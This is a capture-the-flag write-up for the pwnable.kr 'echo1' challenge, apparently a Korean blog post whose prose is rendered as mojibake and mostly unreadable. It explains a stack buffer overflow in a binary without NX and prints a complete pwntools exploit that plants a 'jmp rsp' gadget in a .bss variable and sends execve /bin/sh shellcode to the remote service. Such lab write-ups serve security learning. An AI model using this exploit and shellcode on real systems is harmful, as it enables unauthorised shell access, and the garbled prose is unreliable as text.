Jastes 2022. 11. 20. 23:10

echo1_WriteUp

๋ณด์‹œ๋ฉด.. echo service๋ฅผ ํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ๋‹ค์šด๋กœ๋“œ ํ•ด์„œ ํ™•์ธํ•ด๋ณด๋ผ๊ณ  ์•Œ๋ ค์ค๋‹ˆ๋‹ค.
ํŒŒ์ผ์„ ๋ฐ›์•„์„œ ์—ด์–ด๋ณด๋‹ˆ๊นŒ.. ์‹คํ–‰ํŒŒ์ผ์ด๊ณ  ๋ฆฌ๋ฒ„์‹ฑ ํ•  ๋ถ€๋ถ„์ด ๋„ˆ๋ฌด ๋งŽ์•„์„œ IDA ์‚ฌ์šฉ!

์ฐธ๊ณ ๋กœ  echo๋Š” ๊ทธ๋ƒฅ return์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜์‹œ๋ฉด ๋  ๊ฑฐ ๊ฐ™์Šต๋‹ˆ๋‹ค.

ํŒŒ์ผ์˜ ์„ค๋ช… ๋ฐ ๋ฐฉ์‹

์ฐธ๊ณ ๋กœ ์ €๋Š” ๋ฆฌ๋ฒ„์‹ฑ ๋Š…๋Š…์ด๋ผ์„œ ๋“œ๋Ÿฝ๊ฒŒ ๋ชปํ•˜๊ฑฐ๋“ ์š” ๊ทธ๋ž˜์„œ ๊ธธ์–ด์ง€๋ฉด.. ํ๊ทœ ใ… 

์œ„ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด 15๋ฒˆ ์ค„์—์„œ ์ด๋ฆ„์„ ๋ฌผ์–ด๋ณด๋ฉฐ ์ €์žฅ์„ v7์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋ฆฌ๊ณ  ์ž…๋ ฅ์„ ๋‘ ๋ฐ˜๋ณต๋ฌธ์„ ํ†ตํ•ด echo๋ฅผ ํ•œ๋‹ค๊ณ  ํ•˜๋Š”๋ฐ ๋ง‰์ƒ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์•„๋‹˜ func์„ ๋ณด์‹œ๋ฉด
์ •์ž‘ ๋˜๋Š”๊ฑด  24๋ฒˆ์˜ BOF echo๋ฟ์ž…๋‹ˆ๋‹ค.

๋ณด์‹œ๋ฉด s๋Š” ํ• ๋‹น์„ 0x20๋งŒํผํ–ˆ์œผ๋‚˜ ์ž…๋ ฅ์€ 0x80๊นŒ์ง€ ํ•˜๋Š” ๋ชจ์Šต์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋ฏ€๋กœ bof๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋˜๋Š”๊ฑฐ๊ฒ ์ฃ ?

์œ„์— ๋ณด์‹œ๋ฉด Partial RELRO ๋ฅผ ์ œ์™ธํ•˜๊ณ ์„  ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์ „๋ฌดํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋ฏ€๋กœ ASLR์ด ๊ฑธ๋ ค์žˆ๊ฒ ์ฃ (์ด๊ฒƒ์€ RELRO๊ฐ€ ์žˆ์œผ๋ฉด ์žˆ๋‹ค๊ณ  ๋ณด์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.)
๋งˆ์ง€๋ง‰์œผ๋กœ NX๋„ ์•ˆ ๊ฑธ๋ ค์žˆ์œผ๋‹ˆ๊นŒ shellcode๋„ ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿผ ์ €ํฌ๋Š” bof์˜ ๊ฐ’์— ์‰˜์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด ์‹คํ–‰ํ•˜๋ฉด ๋˜๊ฒ ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ ํ•ด๋‹น ์ทจ์•ฝ์ ์˜ ํ•ต์‹ฌ์€ echo1์—์„œ ๋ฐœ์ƒํ•œ๋‹ค๋Š” ์ !(๊ทธ๋‹ˆ๊นŒ  ๋ฌธ์ œ ์ œ๋ชฉ์ด ๊ทธ๋Ÿฐ๊ฐ€?)


Exploit design(Senario)

์—ฌ๊ธฐ์„œ ์šฐ๋ฆฌ๊ฐ€ ์‚ฌ์šฉํ•˜๊ธฐ ์‰ฌ์šด๊ฒŒ bss์˜์—ญ์ด๊ธฐ๋„ ํ•˜๋‹ˆ๊นŒ์š”

bof์˜ ์„ค๊ณ„๋Š” ๋ณด์•ˆ์˜ ๊ธฐ๋ณธ์ด๋‹ˆ๊นŒ ๋„˜์–ด๊ฐ€๋ฉฐ, ๋ฌธ์ œ๋Š” 20byte์— ์‰˜์ฝ”๋“œ๋ฅผ ๋„ฃ๊ธฐ๋Š” ๋ฌด๋ฆฌ์ด๋ฉฐ,
ASLR์ด ๊ฑธ๋ ค์žˆ๊ธฐ์— ์‰˜์ฝ”๋“œ๋ฅผ ๋„ฃ๋Š”๋‹ค๊ณ  ํ•ด๋„ ์ฃผ์†Œ์˜ ์˜ํ–ฅ์ด ์—†๋Š” ์˜์—ญ์— ์‚ฝ์ž…์„ ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋ฏ€๋กœ ASLR(Partial RELRO)์˜ ์˜ํ–ฅ์ด ์—†๋Š” .bss์˜์—ญ ๋“ฑ์ด ์กด์žฌํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

๋ณด์‹œ๋ฉด ์—ฌ๊ธฐ์„œ bss ์˜์—ญ์— ์žˆ๋Š” ์ €ํฌ๊ฐ€ ์“ฐ๋Š” ๋ณ€์ˆ˜๋ผ๊ณค.. id(V7)์ด๋„ค์š”
ํฌ๊ธฐ๋„ ์ž‘์€๊ฒŒ shellcode๋ฅผ ๋„ฃ๊ธฐ๋ณด๋‹ค๋Š” ๊ทธ ์œ„์น˜๋ฅผ ์ €์žฅํ•˜๋Š” ํฌ์ธํ„ฐ๊ฐ€ ์ ํ•ฉํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

Senario
  1. bof๋ฅผ ๋ฐœ์ƒ์‹œํ‚จ๋‹ค
  2. ret๊ฐ’์„ id์˜ ๊ฐ’์œผ๋กœ ์œ„์น˜๋ฅผ ๋ณ€์กฐํ•œ๋‹ค
    - ํ•ด๋‹น ์œ„์น˜์—๋Š” ์‰˜ ์ฝ”๋“œ์˜ ์ฃผ์†Œ๊ฐ’์„ ๋ฐ›๋Š”๋‹ค

๋จผ์ € bss ์˜์—ญ์„ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค(id) 

id์˜ ์ฃผ์†Œ์˜ ์œ„์น˜๋„ ์•Œ๊ฒŒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋ƒฅ e.bssํ•ด๋„ ๋ ๊ฑฐ ๊ฐ™๊ธดํ•œ๋ฐ ์ €ํฌ๋Š” ํ™•์‹คํ•˜๊ฒŒ id์˜ ์ฃผ์†Œ๊ฐ€ ํ•„์š”ํ•˜๋‹ˆ๊นŒ
๊ตณ์ด ํ–ˆ๋‹ค๊ฐ€ ์˜ค๋ฅ˜๋‚˜๋Š”๊ฒƒ๋ณด๋‹ค๋Š” ์ด๋Ÿฐ ๊ฒฝ์šฐ๋Š” ์ง์ ‘ ๋ช…์‹œ๊ฐ€ ์ข‹๊ฒ ์ฃ ?

์—ฌ๊ธฐ์„œ ์ €๋Š” ๋งŽ์€ ๊ณ ๋ฏผ์„ ํ–ˆ์Šต๋‹ˆ๋‹ค...
์–ด๋–ป๊ฒŒ ํ•˜๋ฉด ์–ด๋Š ์ฃผ์†Œ์— shellcode๋ฅผ ๋„ฃ์–ด์•ผํ• ๊นŒ.. bof๊ฐ€ ๋ฐœ์ƒ๋˜๋‚˜ 20byte..
ํ•˜์ง€๋งŒ ์ƒ๊ฐ๋ณด๋‹ค ๊ฐ„๋‹จํ•œ ๋ฌธ์ œ์˜€์Šต๋‹ˆ๋‹ค.bof๊ฐ€ ์ดˆ๊ณผ์‹œ ์ดํ›„ rsp์˜ ์˜์—ญ์— ์ ์žฌ๊ฐ€ ๋˜๊ธฐ ๋•Œ๋ฌธ์ด์ฃ 

์œ„ ๊ทธ๋ฆผ์€ ์ด์ „์— ํ–ˆ๋˜ brain fuck์˜ ๋ฉ”๋ชจ๋ฆฌ์˜ ํ˜•ํƒœ์ด๋ฉฐ, ๋ณด์‹œ๋ฉด ๋ฐ”๋กœ ebp๋ฐ‘์— ๋‹ค์‹œ esp๋กœ
bof๊ฐ€ ๋ฐœ์ƒ์‹œ dummy๊ฐ’๊ณผ offset์„ ๋…ผ์™ธ๋กœ ์นœ๋‹ค๋ฉด ๋ฐ”๋กœ esp์— ์ ์žฌ๋˜์–ด ๋ฉ”๋ชจ๋ฆฌ์— ์ฐจ์ง€ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿผ ์–ด๋–ป๊ฒŒ ์ด ๊ตฌ๊ฐ„์„ ๊ตฌํ• ๊นŒ.. ์ด๊ฒƒ๋„ ํ’€์–ด๋ณด๋‹ˆ๊นŒ ์–ด๋ ต์ง€ ์•Š๋”๋ผ๊ณ ์š”(๋‚ด ์‚ฝ์งˆ..)
๋ฐ”๋กœ jmp rsp ๋ผ๋Š” asm์˜ ๋ช…๋ น์–ด๋ฅผ ๋„ฃ์–ด์ค€๋‹ค๋ฉด ๊ทธ ๋‹ค์Œ ๊ตฌ๊ฐ„์œผ๋กœ ๋„˜์–ด๊ฐˆ ๊ฒƒ์ด๋‹ˆ๊นŒ์š”
๊ทธ๋Ÿฌ๋ฉด payload์˜ ํ˜•์‹์„ ๋Œ€๋žต ์„ค๊ณ„ํ•œ๋‹ค๋ฉด..

id(4byte; shellcode in address ; bss)
bof(0x20) + sfp(0x8) + ret(id; shellcode address)

๊ทธ๋Ÿผ ํ•œ๋ฒˆ exploit code๋ฅผ ์‚ดํŽด๋ณด์‹œ๋ฉด ์ถ”๊ฐ€์ ์œผ๋กœ ์„ค๋ช…์„ ๋“ค์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค.


Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import sys
 
'''defalut setting'''
context(arch='amd64', os='linux', endian='little')
context.log_level = 'debug'
 
'''connect RCE LPE choose'''
'''
if(args['REMOTE']):
    p = remote('pwnable.kr', sys.argv[1])
else:
    p = process('./echo1')
'''
 
= remote('pwnable.kr'9010)
 
'''payload design & excute'''
#why do excuite f**k!
#sleep(2) #server and local connection speed difference
p.recvuntil("hey, what's your name? : ")
p.sendline(asm('jmp rsp'))
#p.sendlineafter('name? : ', asm('jmp rsp'))
#sleep(2)
p.recvuntil('> ')
p.sendline('1')
#p.sendline(str(1))
p.recvuntil('\n')
 
#p.sendlineafter('> ', '1')
 
'''
p.sendline(asm('jmp rsp'))
p.sendline(str(1))
p.recvuntil('\n')
'''
 
'''payload design'''
#payload = b'A'*0x28
payload = b'\x90'*0x28
payload += p64(0x6020a0)
#payload += p64(asm(shellcraft.sh()))
#payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
payload += b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
 
p.sendline(payload)
p.recvuntil('\n')
 
p.interactive()
cs

์ฝ”๋“œ์˜ ๊ตฌ์„ฑ์€ ์•ž์—์„œ ๋‹ค ์„ค๋ช…ํ–ˆ์œผ๋ฏ€๋กœ ๋„˜์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ ์ฃผ์„์œผ๋กœ ์–ด๋Š์ •๋„ ์„ค๋ช…ํ–ˆ๊ธฐ์— ์„œ์ˆ ํ•˜์ง€๋Š” ์•Š๊ฒ ์Šต๋‹ˆ๋‹ค.

์•ž๋ถ€๋ถ„์€ ์ทจํ–ฅ์ฐจ์ด๋ฉฐ ์‹ค์ œ๋ก  payload design์„ ๋ณด์‹œ๋ฉด ๋˜๊ฒ ์Šต๋‹ˆ๋‹ค

ํ•˜.. pwnable.kr์€ ๋‹ค ์ข‹์€๋ฐ ์ด์ƒํ•˜๊ฒŒ ์„œ๋ฒ„๋ž‘ ํ›„.. ์•ˆ๋˜๋Š”๊ฒŒ ๋„ˆ๋ฌด ๋งŽ๋„ค์š”
์ด๋ฒˆ์—” ๋ฐ›๋Š” ๋ถ€๋ถ„๋„ ์•ˆ๋˜๊ณ  ์‰˜์ฝ”๋“œ๋ฅผ ๋ถˆ๋Ÿฌ์™€๋„ ์ฐพ์€๊ฒƒ๋„ ์•ˆ๋˜๋Š”๊ฒƒ๋„ ๋ชฐ๋ผ์„œ ์Œ‰์งˆ์€ ์Œ


์ฐธ๊ณ  ์ž๋ฃŒ

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€